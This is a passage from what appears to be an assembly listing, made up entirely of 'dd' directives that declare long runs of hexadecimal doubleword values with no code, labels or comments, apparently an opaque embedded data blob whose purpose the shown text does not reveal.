400E89CFh, 8855BF5Fh, 731E7B31h dd 4019D52h, 32E94050h, 0A4004829h, 4B0E5FB9h, 85C7707h dd 0FD4338C9h, 809391CFh, 0AB3EB822h, 1B10039Eh, 5DB603B7h dd 0E50CAD80h, 9BAA180Eh, 2E1D4080h, 34DA04Ah, 5F2B297Fh dd 69055611h, 5EC72A95h, 0FC687418h, 8D2601B3h, 2A92114Fh dd 0DC10429Fh, 0EA0CF000h, 0CB45021h, 560A37E2h, 0B7258050h dd 0A32D717Eh, 599C80D8h, 0DD6D6Eh, 9AD2AE12h, 92E6625Dh dd 3E7CE4EBh, 1B233600h, 0F0E2AA0h, 707F00FBh, 0E2A75B16h dd 0D6007DCEh, 648FD991h, 0BC3E02h, 27129C90h, 0EE1D38B5h dd 0E8285B03h, 0F89859C9h, 39BF8DADh, 73005E3Ah, 1083F512h dd 1F003CA3h, 96514156h, 479586h, 94D01163h, 0DE985E1Eh dd 3F619A1Fh, 27756BCFh, 0B857773Dh, 0CD9DA830h, 0D4E00A5h dd 37C9E68h, 0D8004AD6h, 0CBD01E25h, 0FC623Fh, 0A9AD8E1Ch dd 0B0F43E68h, 9775BE01h, 0BC0898E1h, 1CC3C2C4h, 13B73643h dd 1097FFh, 2BA2215h, 497C0F05h, 0D0081F2Ah, 124D00EBh dd 0EB546DDh, 239DCE00h, 7996C203h, 0BF5D0299h, 67F1B12Eh dd 0C0921321h, 77B08CCh, 0D3F05F34h, 21EC4607h, 0C0BDA400h dd 0D4A6B993h, 0DD260072h, 40F1B755h, 730E4BABh, 81605D6Dh dd 0ED75A05Fh, 2D3C432Fh, 53C0B6B3h, 0D90EBE4Dh, 97D76018h dd 5ADA68D0h, 0E75C00A9h, 2C5E4C1h, 513B2169h, 8641818Dh dd 755D9855h, 203A8992h, 9C5C3974h, 3088B300h, 0A40927BAh dd 0C42F465h, 7213203h, 0A80F36E8h, 805A4895h, 6133ECFDh dd 40AF00ACh, 735FD6AEh, 631CE15Ch, 6E5E314Fh, 9547880h dd 171566DAh, 0C97E9h, 76F60812h, 7100A623h, 46FE9103h dd 0EDE3F95h, 0AB4165Eh, 680051ABh, 0BD57AC7Eh, 39A3BE3Eh dd 0F14980F4h, 0F2F6E55Ah, 0D96E00D3h, 12CDF5B5h, 0F706EFDCh dd 9FD49B0Bh, 78410008h, 0E5C53F25h, 470F7A86h, 20D27E59h dd 490A3E9Fh, 0CA610169h, 0C2FFE88Fh, 137E95Ah, 0BA1F36E5h dd 67CEAB04h, 83C03F2Bh, 6D5E4CA7h, 1ABCC91Fh, 0F3EB6300h dd 861C25h, 87A9E7D6h, 0BFE8815Fh, 0C63BBC00h, 62918D12h dd 291562C9h, 4E22E48Ah, 13A22295h, 64387D21h, 0AF107E02h dd 86E8994h, 70EF208Ah, 10E59222h, 21BC0F4Fh, 0F4F208AAh dd 88242688h, 968866C0h, 0FD338C11h, 28A21AA1h, 29118163h dd 6576C032h, 64E51E9h dd 0A19EDA14h, 5128FE50h, 4022F544h, 0E20FE8E6h, 0E03C0BBAh dd 10A52C77h, 7ADB1F28h, 56A44037h, 0B665BFF7h, 20F04300h dd 7F3F71CDh, 644D0058h, 0E14A091Ah, 991D9234h, 0E780DF97h dd 5E0D2296h, 586B3F3Bh, 0F7E38B80h, 0C1EBC9C7h, 5F4EC600h dd 0B3A32E85h, 77F6008Eh, 518D24CBh, 9600BC34h, 0EED676B5h dd 0D262ADh, 0CE690D11h, 0EAC352D0h, 2790FE00h, 35445FAEh dd 7C34003Ah, 7882E9B4h, 7671190Eh, 7B04FB00h, 6AA7A951h dd 0B67302EAh, 5DE67CD4h, 3E44C380h, 7E007A14h, 1C6E5694h dd 6407C8h, 0E3E8DB25h, 0C4143F93h, 110095E8h, 9C54AAF6h dd 77872D38h, 0F3C90D7h, 83405E12h, 0DC496060h, 0B700F553h dd 0A921A787h, 0B5F1BDh, 0C13332CFh, 16EE9B26h, 619CAE09h dd 0A9A380A1h, 1C10B4DFh, 42EC19h, 0B854F169h, 3D01FE31h dd 2A5D7C6Bh, 7180BA1Eh, 32DD61A1h, 5400E880h, 241CD381h dd 3B36250h, 3CE17812h, 7800A811h, 0C449F9E5h, 267E8h dd 0BBC2FC77h, 0C7DB6BC3h, 5D1DAD00h, 0B5F3D1A7h, 8C1F0747h dd 0D0EF0E5Ch, 7CDA8152h, 0DD1D9700h, 71CCD2F2h, 8AE30024h dd 0FDABF101h, 21303FC4h, 0FCA3DCAAh, 9B0D00A6h, 83865306h dd 1900C769h, 681CACCAh, 15A3C35h, 57F7F834h, 0C0467E48h dd 2F0153DEh, 1EEC54FAh, 0ADFCBA27h, 0E4B4004Bh, 88114D5Dh dd 0F80748ABh, 6B8C0DAEh, 73125BC0h, 3EFF2A4h, 0F5E88AB2h dd 1AB83667h, 0E11DAD22h, 9443662Bh, 761563h, 7EA8CE42h dd 0E044E89Fh, 7F00BDE6h, 0AC6BE75Fh, 7492C2h, 42E988B2h dd 0B12D0B3Ch, 6F81FC01h, 53EC55F6h, 2E7CC4h, 19B093CCh dd 0B70CF86h, 1F709448h, 0A600E1EEh, 3BC91468h, 60FB00A5h dd 0D7B09A7Dh, 5800B801h, 8F56E6EFh, 48BFB90Ah, 4100B5F9h dd 0CE2EA593h, 21281ECAh, 907FC65h, 277B2A70h, 4AC080D5h dd 13CBAC72h, 55DE2Ch, 2A747162h, 60923D0h, 188467CFh dd 0F3B1A4h, 35E58EBDh, 7212D6CDh, 0E3F62C78h, 0A60063FCh dd 7C182A9Bh, 7548D58h, 0BC0E8FFFh, 556F20AEh, 95E69C8Eh dd 0F407A000h, 0BA6CE3F9h, 0B701005Fh, 0AC91D76h, 0A2F6BC9Ah dd 0FF16990Eh, 0E84AA03Dh, 2478EEh, 43278F1Bh, 6F7F6B60h dd 0A2D37E00h, 0C369D5B2h, 770100E2h, 0E35712BAh, 0B6003F66h dd 0D762CA22h, 782ABADh, 2CA5CB23h, 5F6710F0h, 860042C6h dd 2B1D737Fh, 48147B84h, 41002DD2h, 6405531Bh, 470092DAh dd 9EAC2587h, 1D240BC4h, 6E37958Eh, 2AF40037h, 4AAEEE59h dd 0DAA8221Eh, 0B373FDC0h, 93A397h, 0D6B92091h, 5B5D4E63h dd 30ADC00Eh, 0D977C082h, 24368009h, 0B0526Bh, 26143306h dd 4F0086F8h, 0CE663FFAh, 3F4CA67Dh, 0A98058BBh, 0C2827AEFh dd 0A3004210h, 0C3043C6Bh, 1F0EB4D8h, 0C05E621Fh, 6F51B3F8h dd 0C0704FB2h, 0A0124778h, 4100073Bh, 8E96920Ah, 0AB40245Dh dd 0C2C300E4h, 0E3F06889h, 92CD7F00h, 655A7984h, 489600FDh dd 28DE2B0h, 289AFFA5h, 0C62D2200h, 12924D4Fh, 0D60E00CAh dd 0E70F875Eh, 509059BEh, 0E4D8FF00h, 0B38B8939h, 18C0045h dd 0E29D0A78h, 4F00CEB2h, 0D71F23Fh, 75E37A2h, 663C4564h dd 6096D031h, 797BB8FDh, 7EA0BC00h, 63703E33h, 0DF61008Bh dd 43BA4D5h, 180F504Bh, 40172E8Dh, 0F4459D02h, 0A15C0AC1h dd 3EC728Ah, 7D068938h, 0B75518F0h, 58098600h, 4895C1F7h dd 3BA2FE31h, 82003D36h, 1E0FE51Bh, 520F7EF3h, 0C0379B8Ch dd 0F7F68741h, 26D00F0h, 0D72A8E6Bh, 0C3124429h, 90414F2Ch dd 0E0A2B660h, 67A1FCh, 0BF7D0F04h, 991F726Eh, 0C6008DECh dd 29EC9D23h, 1F5610B9h, 40979B20h, 19C8E784h, 1F00DB12h dd 31B46CA5h, 761BEACh, 839CDEEBh, 29F1D014h, 0AF003E4Bh dd 1CB4EE09h, 1E1D877Ch, 8014D406h, 7F1373BEh, 0FB00E7B9h dd 0D9BFBA40h, 78E79B3h, 91AFCB43h, 0FC7E405Eh, 0F9001BEAh dd 73C09F4h, 1558839h, 95462887h, 2E182347h, 16B19AA0h dd 0F05E6F4Bh, 3D76B64Bh, 0BAA50100h, 0FEF9FAB8h, 0B9CD24CCh dd 0BB68001Eh, 0E291D34Bh, 9765D200h, 41CB3178h, 23AA0FC2h dd 7A6005FEh, 99625D67h, 91EF700h, 0AC4980B5h, 47040E26h dd 41C3ABC1h, 16D078F0h, 390988F7h, 80067018h, 93DC4412h dd 8F5E0757h, 0F0542C99h, 0DA74AFA3h, 85E2C6ECh, 8328C900h dd 42B0EB6Ah, 0E7C7004Ch, 96083F90h, 0CB07D64Dh, 8886C2D0h dd 425F93C0h, 0C3D0046h, 0B8CF8CE6h, 1D000407h, 0D36FA75Eh dd 35882FDh, 4D79D608h, 14B8F59Dh, 38006134h, 65FC2C69h dd 72FF359h, 1F9B23BAh, 0A5C1B08Ah, 0E9307857h, 0D3BC2A13h dd 845D0BCFh, 0F80B917h, 593CDCDDh, 58EE6B00h, 50A666E9h dd 5A2000C3h, 0B47DA48h, 0A500D410h, 0A4BDF57Ch, 801BF4h dd 0B413E1C2h, 3EC54516h, 0E692D016h, 0D58C4D00h, 0CB67B6h dd 541E9CC3h, 319BE494h, 4F76CC00h, 1337054Bh, 0B9FE07E7h dd 0C33811EBh, 5EE8F2AEh, 8118193Ah, 5830A016h, 26DD0FD4h dd 1A80494Ch, 12BB0207h, 1D0333Bh, 21953287h, 448EFC0Ah dd 0E2405CB6h, 980DD8C4h, 0EE40CCFFh, 0B4CDB200h, 72D5A114h dd 3B910017h, 21B848DBh, 6A7A8E69h, 39393277h, 76CE0040h dd 0B12A9E42h, 8A58005Ch, 0B9C6D274h, 7C1CA980h, 881F22Fh dd 0FE55E459h, 3BBFC0h, 0C18C6E2Ah, 77F93E9Bh, 6F92DD1Dh dd 7B40B6C0h, 3B0BA854h, 808007CCh, 0B0D0AE14h, 0FB00D3E6h dd 876088FAh, 86CDEAh, 0F74D75A2h, 10F11777h, 3B0C4101h dd 383D8AF5h, 0C532A70h, 887708C6h, 150059E0h, 0C1DB2639h dd 0E580E3h, 0AC844755h, 499E5C04h, 0A499FB00h, 40C22834h dd 8D6900E0h, 0ED7FF073h, 14010747h, 49BB8B67h, 7871540Bh dd 34B5FFCh, 0A879306Bh, 219395D1h, 0D98198A0h, 0C71C7EE4h dd 3F80B6F1h, 6F15E4A6h, 3B4B0153h, 8D4FFE03h, 2DEDC8D5h dd 1A3F9400h, 3A91C435h, 0B716074Dh, 80C379B2h, 1FDC27A5h dd 0A8DFFD00h, 0B4A7EA46h, 9B4000AAh, 31CE425Bh, 53019039h dd 6CCCDC3h, 45FC6324h, 93D00E55h, 0B036FBC2h, 7400C680h dd 0BB0E41F8h, 45EBE7h, 2732625Bh, 0F6FE7E46h, 3B3FED00h dd 29B2F05h, 0C284009Fh, 16BA1103h, 0CD008EF0h, 0D41F8A5Dh dd 98420Ah, 0AF6F8D06h, 0FCE98C43h, 873B5A24h, 0FCA91Eh dd 498B31A2h, 118E57h, 1C25D0A5h, 71E4F2DCh, 96E267B8h dd 0ABE9CB02h, 60FD2D80h, 33DCAB6h, 4CC68307h, 8FB89170h dd 0E9B822A2h, 28142D00h, 0A340AC3Ah, 2B900F37h, 0BC60E120h dd 0C41018AAh, 8DCCCF03h, 0C728734Bh, 0EBF42F60h, 49C3018Eh dd 0DCB6D1E6h, 39708F63h, 0F0CC4093h, 2E9DC5h, 838E53B7h dd 811C4C57h, 8135773Dh, 38159870h, 0C2D4A43Fh, 9ABF068Eh dd 0CC497961h, 52B22F00h, 805D407Ch, 6BE8018Ch, 4BEAE5D1h dd 0A868BAFFh, 81036CE2h, 0F71E5E72h, 2FD9C8C9h, 0D49F2616h dd 8B8C004Ch, 0E271FDF0h, 7DA53Dh, 586274FAh, 0CB1727h dd 359E8D38h, 66230E44h, 0CCFCA700h, 107C3A9h, 306F03F8h dd 1448D8FEh, 9BDE1809h, 0ADC58099h, 20BEF42h, 0F15EE715h dd 9EC08393h, 3C00DBF4h, 0A5A17520h, 9E24D1h, 5E7670FBh dd 887BAFE0h, 6F9D5603h, 71393E83h, 334D00D0h, 0ABECC4DAh dd 0AE009B96h, 3082566Ch, 6E75B6h, 0CD2D88F3h, 0F7B35DA0h dd 0E7A40C00h, 7EB6AADBh, 0B5540078h, 8B943305h, 7A016BA0h dd 0DA43FC15h, 0C340C7Fh dd 4D1624DEh, 0B17D0324h, 0FDB0C3E1h, 8B50C141h, 9F73BBE9h dd 9EDBAA00h, 1D9780Eh, 653B007Fh, 3520D189h, 98009D45h dd 3F31D462h, 14B09D0h, 57F90F36h, 0F8102EAEh, 92000C7Eh dd 0DBC38185h, 0DA7D53h, 0A3F208B9h, 317C1A5h, 266320C0h dd 0EA7716h, 191AB7DFh, 1F27E156h, 7DD8BD07h, 0DE00963Bh dd 3FEE9BBFh, 4700689Ah, 0DA299165h, 2E38F37Dh, 0F7941DE3h dd 6A74A400h, 488B2396h, 73004446h, 83D74F30h, 0C1304E7Eh dd 325EF0B7h, 0FAB100E2h, 4599AED2h, 142085BEh, 30CE000Ch dd 245CD5ADh, 0D0005331h, 226C988Eh, 3B513D4Bh, 0FFA67A89h dd 0B7540030h, 53F8EF17h, 7B4E300Eh, 8BCFA0D7h, 44675Ah dd 0CD3E2349h, 5672EDF3h, 0B873E000h, 0C02EB317h, 75910750h dd 402C438Bh, 935AC762h, 0F5528200h, 34892380h, 86391DB2h dd 712C8066h, 28D1CBDAh, 5243858h, 3ED77A9Eh, 6D4F8B80h dd 8A01F64h, 1B5F40ADh, 0FBB3F5EEh, 0E62D3Fh, 6973218Eh dd 0B9619Ch, 637E137Fh, 0D49DA402h, 0E6C13604h, 0C0AE4EF7h dd 93ACA393h, 16C4971Ch, 79FBF3C0h, 304A75h, 0F5659F4Ch dd 6FE51DCCh, 5EEA160Eh, 2BC1A0E6h, 6D12D1Bh, 0BB41E2F3h dd 0A6E678F7h, 804F0B38h, 0D0F946B6h, 7B4CCFh, 4E47EFD9h dd 5D3F1B38h, 0B912F390h, 8841BDA7h, 1A6E3AFh, 2D1420h dd 26EB070h, 20D22F5Fh, 54F60400h, 0AB3412B2h, 0E8ECA0B6h dd 33240C2Ch, 4100818h, 0EE4C1F00h, 9CC7411h, 0C8C705F3h dd 0E46D91Eh, 796057ECh, 0F00F4526h, 2B1D9507h, 0C230B82Ah dd 12929C85h, 0DF833Dh, 1D5C4360h, 31C9AAFh, 57C7BBDDh dd 9F73E81Ch, 60B0003Eh, 0A5297EE0h, 0F0260C0Eh, 8400997Bh dd 0C8975419h, 0C314004Eh, 0FD40EC8Eh, 0A3B1713h, 4A7F00FEh dd 4592A381h, 3852FED5h, 0CC0901B7h, 0E0031BA5h, 0F8E09E7Ah dd 25E8F771h, 1FD9D0Eh, 23960B47h, 0E87CE61Ch, 4A0449F6h dd 3C25F846h, 1007572h, 25F20782h, 3F6EC8h, 0A58E3EBCh dd 63C64696h, 2F9C291Eh, 0E0D83686h, 0D2CD02C8h, 0F1D62F9h dd 0A2848840h, 0FEFC391Fh, 3C00771Eh, 13AC02BAh, 4911486Fh dd 98170600h, 9CCE5C56h, 0B119A71Dh, 0F41D6740h, 0ACA9FEh dd 1C5ED577h, 94CFF945h, 0E95CDA7Eh, 602F0148h, 557E3392h dd 767B32C0h, 4CD7B9Bh, 73FD15C3h, 3D0880BFh, 0B504CA9h dd 930010ECh, 9C41B66Ch, 0F08DF8A3h, 0FE0D2A80h, 0E4F702FCh dd 0F07951EEh, 4ACA4468h, 1262ED00h, 441FC052h, 0E50E00DBh dd 0FF34F61Ah, 0EC0BB671h, 80A32BC8h, 56776904h, 868500FDh dd 7F9FE36h, 0F40063D8h, 0B9830CC2h, 0A3934F2Bh, 4580BC98h dd 0C1E312h, 0E22E5B98h, 69F76632h, 0BC342B28h, 0FDE17801h dd 0A18F9E45h, 1D4A1DDCh, 0C2239573h, 0DC477FABh, 0FD026440h dd 0C952608Ah, 3A5D00D1h, 7582A820h, 1F0F6F30h, 0A0919FCCh dd 0C11CE459h, 57B82Fh, 0C70385C9h, 0DE9B7472h, 15C23602h dd 80326DECh, 0A44684A0h, 96F8FBBDh, 2F7C0738h, 0F953FBD8h dd 5707A880h, 490368AAh, 64D7819Bh, 69FC80E8h, 1C7539F9h dd 5B15BC03h, 503E34B3h, 1F484953h, 0FB40E510h, 18ADBEEh dd 0E798A0D2h, 0BCAE00A6h, 5129D830h, 5D019FB9h, 31B385C3h dd 0CC403DDAh, 2275578h, 6E79B153h, 0CC8E160h, 3A007C0Eh dd 0D1507539h, 0C534AB6Fh, 80E10D18h, 0FAC77F8Ch, 8002613Ah dd 0D580E563h, 2598ADh, 0CF46AB73h, 0BD6AACA0h, 0F02DEE4h dd 60DC24CBh, 4EB8E0E3h, 0D77100F3h, 97A662A9h, 6D0790B8h dd 0EB72D4AFh, 37A5CEC0h, 0B7F651h, 93973048h, 17AADF69h dd 2488EB00h, 2312DAD7h, 3F2B0009h, 54C86EF8h, 1A00EC2Fh dd 1EE41956h, 0E8B6A063h, 7A0D00F2h, 2289CFEBh, 6D2698D7h dd 0A901E8D4h, 32F5C241h, 48F97AC0h, 6712C8F7h, 734C20DBh dd 0FA01F5B0h, 6258830Dh, 5430C170h, 0A36073Ch, 306A114Bh dd 7A6B831h, 2B85382Eh, 982ED402h, 41E8687Eh, 457F006Ch dd 0C5D27269h, 0ED3EE317h, 0EFC9050Ch, 0D800D188h, 56A73C2Dh dd 83DC1530h, 7D00C422h, 962E90C7h, 7173C91Bh, 6842E71Fh dd 8E16A780h, 7D7A69h, 0D14AB646h, 34A4B887h, 7F3B3Fh dd 0FD73C29Ch, 0B8F27D9Dh, 2C709D8h, 3C40CF33h, 8D004C19h dd 0F4C43E7Ch, 71C373FCh, 3C264D52h, 94067900h, 15EF5604h dd 5B76D898h, 0E5FEB600h, 0A40D0F92h, 85DA00BFh, 0C06CE0Bh dd 187DB78Ch, 0E68FC400h, 0A0CCFA3Dh, 0D3B3182Fh, 0B0ED10E7h dd 0AD731A00h, 0F842A670h, 109818DCh, 1361A0A5h, 88CC7228h dd 0BE7EB713h, 0A88C7800h, 1B30319h, 0CA9DCE9Ah, 20D5EF5Ah dd 0D9005ECCh, 31264D0Ah, 193535Bh, 68CCACDAh, 0D8898188h dd 5D28701Ah, 5100F8CEh, 5AE8BA56h, 0B179C8h, 5F01077Eh dd 14A8D283h, 403A4D6Eh, 3F84E5B2h, 0E42C0095h, 2E5386CDh dd 0A00040C2h, 89830222h, 1429FADh, 0D4A2585Dh, 30869296h dd 43003844h, 828790FFh, 78954B16h, 8CD33CB4h, 7024205Ch dd 0AD750018h, 430347E1h, 6E00D773h, 733D58FEh, 164BD05Ch dd 9F50BFh, 61B6A8E7h, 8600239Eh, 161CED90h, 0F36A4270h dd 0EFD0460h, 7611A2D1h, 878763A7h, 2CEFC053h, 0F4E48EE6h dd 2B52170Ah, 8738BF28h, 86631591h, 76A450B0h, 499D38A7h dd 0BB196780h, 9A6018C8h, 0CCBF5Ch, 0F12410A0h, 4D0C69h dd 3F20D190h, 1418FEB7h, 58440430h, 6DA360h, 24FC58DFh dd 0F5CC5B2h, 0C4F1AB00h, 9C4698E2h, 738A0038h, 0BD6E89B1h dd 2601F4B4h, 32552037h, 6B60CB8Eh, 641E045Bh, 0C091774Bh dd 0D25868ECh, 0D58D5C0Eh, 8744C093h, 906C4Dh, 0C0DBEC28h dd 0E495ACCAh, 2A0025FCh, 71BFEDBCh, 90329Ch, 64355AB4h dd 430F1AF4h, 3C93AF07h, 4261EE97h, 0A4E9C4A7h, 49AE5020h dd 902701Ah, 4484CB85h, 36002070h, 70AE9031h, 7D4FF306h dd 971C00A4h, 4D03420Fh, 0EC00B8ADh, 66D69B48h, 0C72016h dd 93EFD241h, 559E7F75h, 4FE9A10Ah, 39C83Ah, 0DF03071Fh dd 0F34ECE32h, 7D5AD8h, 0AE77AF60h, 61FE8783h, 0ECFFC8CAh dd 0AB260F60h, 773C00EFh, 0B3EC4937h, 580089E9h, 0BD7687BBh dd 205CC6h, 399B4C6Dh, 24A93459h, 0C8375716h, 122C4001h dd 10307AE4h, 0EC67003Fh, 25AD309Ah, 0FE00DB2Bh, 0F4A93CE2h dd 0E76C1Ch, 0C284D492h, 71462EFCh, 2407C4A4h, 39E6117Ah dd 9C2B3AF1h, 0FC2DED0h, 8910E29Bh, 0E487EB29h, 0BABE1196h dd 8E0F204h, 0A01C875Ch, 0E1DED403h, 4AD2E681h, 287452D7h dd 0C6AE0020h, 7253E395h, 8300CFF0h, 0E0F6F3CBh, 1E06B0AAh dd 0E426225h, 4CE09F99h, 597E5A3Ah, 0CFBE2200h, 274D44A5h dd 5C1800DCh, 0D14BF90h, 421D94D7h, 8000A007h, 818708A6h dd 0FEA33E8Ah, 4EA73BBCh, 3600525Ch, 6B4426D0h, 13A703FAh dd 28B1DA1Dh, 13338F8h, 17ABF91Dh, 0ED152A40h, 9C5E1Eh dd 1D4888D4h, 59799061h, 0B0D25A00h, 22201729h, 0C8620581h dd 0C0B3EEF7h, 0ED58BE3Ah, 9D152504h, 98C0735Bh, 18B4DE05h dd 0A0F7AAD0h, 0E173C434h, 6CA83800h, 0A4F0F2F3h, 41A10490h dd 8345AE6Fh, 6DA89E82h, 7900777Eh, 0E33D8CABh, 688BDCh dd 0FD4CBF38h, 0C8ADAAB9h, 0BB6521Fh, 890269C0h, 28DA7BEh dd 0AEE8DFC4h, 0F1C02861h, 500B907h, 0C3F964BFh, 9A462h dd 0E4A10E40h, 0F2756561h, 0E72CDB00h, 0E88D4D39h, 9F0A00B9h dd 0BA572F6Dh, 3C00EA50h dd 7FF98BCDh, 0DB7BADh, 10F01949h, 6D3F075Fh, 8375Ch, 0E29A8503h dd 1F25C530h, 0C00A5CB6h, 0A259AEA9h, 0B5004C10h, 7E283A32h dd 3F048F4h, 738C2A7Ch, 64E8E457h, 0A7F890D3h, 1750DF7Ah dd 8500C491h, 59456247h, 0C92291h, 553F97CEh, 696692D7h dd 7C018977h, 11AEEEC3h, 0EFD07B73h, 3680017h, 0E4BF94DBh dd 6000C1D5h, 0D75BD48Bh, 0C3A50Bh, 0FBCC9012h, 3A23F8FAh dd 99893Eh, 0B05364C2h, 1FB8A6h, 5F6E43C5h, 7C13AE9h, 96FB7400h dd 940D5245h, 0B97B8Bh, 4444AD4h, 557E37FEh, 95EAF5E4h dd 0DD6A8C00h, 0D9B087F6h, 75D80751h, 0A0A6882Eh, 35664E4Fh dd 0D6081A0Fh, 0AB81C061h, 0A9475Eh, 2629A07h, 0BD14EFA5h dd 0D890400h, 61DE8271h, 0DFA11357h, 0D6900731h, 0CAE46145h dd 46D2C8FAh, 5EBAA200h, 7123B53Eh, 0F6C47606h, 2864C061h dd 42F81BBCh, 0EB3B7800h, 0C6CE8573h, 709B60E8h, 6EC46B4Dh dd 0AB160300h, 8D18471Dh, 0AC2B1394h, 660B0045h, 46F24A62h dd 567FF600h, 0E30CD6EAh, 38644812h, 0F86DB700h, 0BD3C5948h dd 0EE967E00h, 0BB5BB6ADh, 0D5D6C5CCh, 0D3688061h, 893D4EBFh dd 75950FB9h, 0F9632CA8h, 41DE0027h, 43805FCFh, 970FCD3Fh dd 40204604h, 1B7C13FBh, 38E7482Ah, 9917B680h, 0C524A891h dd 833D0050h, 46D8931Ch, 7D4DF951h, 3D895880h, 4247DBD3h dd 0CA0744F0h, 0A34AD663h, 21D70630h, 1B910020h, 60BA99B5h dd 0E900590Dh, 3D97D55Bh, 16F9A7F3h, 0C53DCA8h, 0A32EF521h dd 66006977h, 17C21C02h, 188E48Eh, 4DA1488Ch, 0E056AFB8h dd 4C066299h, 0CFEBB07h, 83E50012h, 0E3BE6F12h, 4D008A64h dd 6DFA86DCh, 18B86B71h, 38892BE5h, 73247BAAh, 5100C03Eh dd 0C0222A98h, 0BAAB0078h, 839281C3h, 7600F6C2h, 5F3A7BBh dd 1CDDF249h, 8BFA5Fh, 0DFF43768h, 901C7FB3h, 40C0190Fh dd 46219DEEh, 89F3001Bh, 99BDDC91h, 0CCE5F6CEh, 0C70044EBh dd 3ED99F27h, 29168Ah, 80CCDAA3h, 0E51D4274h, 0F06BCB39h dd 0FA12D50h, 0BDFFED00h, 8B571E25h, 94EB0EC3h, 6CC09887h dd 528AA4B5h, 2C0E9BB0h, 3727635Bh, 92473D00h, 544EEAh dd 39BE1933h, 15A3D78Dh, 64384C00h, 7068ECF6h, 77D20E67h dd 83604798h, 73BBCB48h, 0F20355Ch, 0E1C427E0h, 3B8FBDFCh dd 7D30F4C5h, 32A005Bh, 0FD98D9D3h, 1600978Ch, 72470FF3h dd 6380EDAh, 0DE8DB11Bh, 0EC0164A0h, 0E4AE3B58h, 0B440A17Fh dd 369397h, 7B198999h, 0F0AD4964h, 3800ED98h, 0A287E68Ch dd 24367884h, 0F2177h, 0E42CDD7Bh, 3800F720h, 4CDB250h dd 5D91DEh, 0D89F3108h, 538060F8h, 250DC000h, 0DC45EFE5h dd 8B5900A8h, 5AC2741Bh, 30011CC6h, 41A00C7Eh, 9CF04FECh dd 0D1DF13A6h, 0B0F902DDh, 8FE04C11h, 0C80022AAh, 42A19955h dd 0A65BDAh, 0ED90BF40h, 21A3A7E8h, 53DE0800h, 94AD969Ah dd 0C64EA8Ch, 7170CEFFh, 0C0000648h, 0D52F5C3Fh, 1C3BC25Ah dd 65F02Bh, 4C5B72DEh, 0E026603Dh, 0B300C705h, 9A6D40FCh dd 7509874h, 6369DFA5h, 70EBF00Ah, 0A903C451h, 1D492FCAh dd 3E207B30h, 6B00861Ah, 89E0D506h, 0E8F9A411h, 2B038BE4h dd 49035478h, 0A51DA042h, 0DCDB000Bh, 6983ED55h, 901F8A2Eh dd 2C070EF0h, 29B04008h, 2C50760h, 7A2E30A0h, 0F0A113B5h dd 0D0843B9Ah, 150062E3h, 587808C9h, 0DCC59Ch, 30C75697h dd 754F64A8h, 0DA6CFF00h, 514B3F88h, 0A7050021h, 626B61D3h dd 8A00524Dh, 72E1C80Ch, 135A56ECh, 9C752Ch, 0C46A0828h dd 0AFFAE469h, 0E7479002h, 60F2464Fh, 13B1F1CCh, 0C7B796h dd 7AF9FF74h, 33008E32h, 726EEE9Fh, 0E870BAEh, 0C02D6CC8h dd 65D69260h, 700A7BCh, 0D09F5BCEh, 0C3CD05h, 9C0C9DA4h dd 2B181B47h, 0D34D88F2h, 344722Ch, 1ED40F86h, 87604F1Ah dd 0F2CAA74h, 0BF14EB00h, 0D58265F1h, 0E08C3945h, 7A01E305h dd 310800Bh, 0BF00DDE6h, 4A75F25Ch, 0BC8E6Bh, 8BBF3C1h dd 88531C62h, 0C8E5FB00h, 0C51513C2h, 765F005Bh, 31D46480h dd 1F0FD0FDh, 0C3099589h, 88DEB1E4h, 29F81A7h, 45ADE7CCh dd 4440A214h, 0B17939A6h, 901A2400h, 77CE6567h, 765C2ECDh dd 0E087007Ch, 0C37A940Ah, 0B173D600h, 0A0EC51E2h, 2F0C2B7h dd 10C4DD57h, 0D0C86426h, 0DBFC1903h, 4CBD906Dh, 1760E5Dh dd 884D3009h, 9689F460h, 529ACFA0h, 0EAF5B815h, 88FA2EA0h dd 7F70CC50h, 0C1B80052h, 0B1C75535h, 0AC740D30h, 0D2C87802h dd 4179A442h, 0BCF95810h, 121398D0h, 2FC0B60h, 21269519h dd 0FA01C7E0h, 245B7700h, 0D2F3697Dh, 0BAB90096h, 201DC508h dd 4B01AEE5h, 49166485h, 0F430D650h, 38257BA4h, 0BB803A99h dd 5FD048EAh, 0B917E2D2h, 4C1DB15Dh, 0DA81B5C0h, 0E2E17h dd 733A0356h, 8D846DFh, 0F998438h, 40488F71h, 0A8541C5Fh dd 0E09700D9h, 0A3E17898h, 0AD17EB6Ah, 2AEA5ABh, 5ECBCC46h dd 3FB394C0h, 73D27100h, 30810852h, 404A07CFh, 0E71DC6F7h dd 0D15F37B9h, 710AE8D7h, 0D408312Eh, 0E40066A2h, 9D30EF33h dd 7F02972h, 0E79BB97Bh, 743C71Ch, 0AE8EB02Ah, 16335358h dd 0F8BEF036h, 0B15E03h, 6E9465F2h, 74DBF05Ah, 33D6A900h dd 0E16AAE6Ch, 4DC7BC8h, 85E3F95Eh, 572C83E4h, 0BA2420FFh dd 9E3A7F25h, 3E0603DEh, 0CA49D7BFh, 0EBB0414Ah, 8E249C32h dd 9C2408h, 89BBE565h, 98074EDBh, 3DCD1B76h, 80E0DA20h dd 74BD751Dh, 0C4B0B5h, 6FEA693Fh, 3675DDD5h, 0D6574700h dd 40EF804Eh, 9BA900A8h, 0A7441169h, 4C9862E9h, 0D5579D01h dd 1917DEF5h, 0C063E6D8h, 305B4418h, 843B59F7h, 902B26EAh dd 0C140EC00h, 3A8F89ACh, 681F1A9h, 0F29A2360h, 0AB002078h dd 0A6027200h, 2563D12Bh, 2F530064h, 0DA0549C9h, 234814B8h dd 0F35500D4h, 80E2CBCFh, 5DFD00D7h, 0F73E9E7Ch, 0BE13EBF6h dd 0C800C598h, 0B21A8B4Bh, 11080034h, 0ED6F5496h, 0C4BAF865h dd 0EC00F673h, 932B38A9h, 0EB29C3h, 0D6E124B4h, 945E7E58h dd 0D5BB0612h, 4E00D7A8h, 504AE0C5h, 0E23CA428h, 0CECA80ABh dd 0EA148D6Bh, 5F1C0055h, 80AF06E0h, 0BC0A015Eh, 0D4C103E4h dd 8F9F5780h, 2A61085h, 0DCB6387Dh, 8C50869Ch, 8107CFFEh dd 0A63DD3ACh, 4D65E770h, 0E8330B8Ch, 80DF24C0h, 82BB8570h dd 1CCB006Ah, 70AA1FE9h, 54988E30h, 8B312D07h, 737265F6h dd 0E682C018h, 0D25107ADh, 3FD6DF8h, 77908740h, 94000885h dd 0CA22B812h, 72C9054Ch, 7BC60078h, 0AA724AB3h, 3E74F241h dd 193D3Ch, 145FE15Ah, 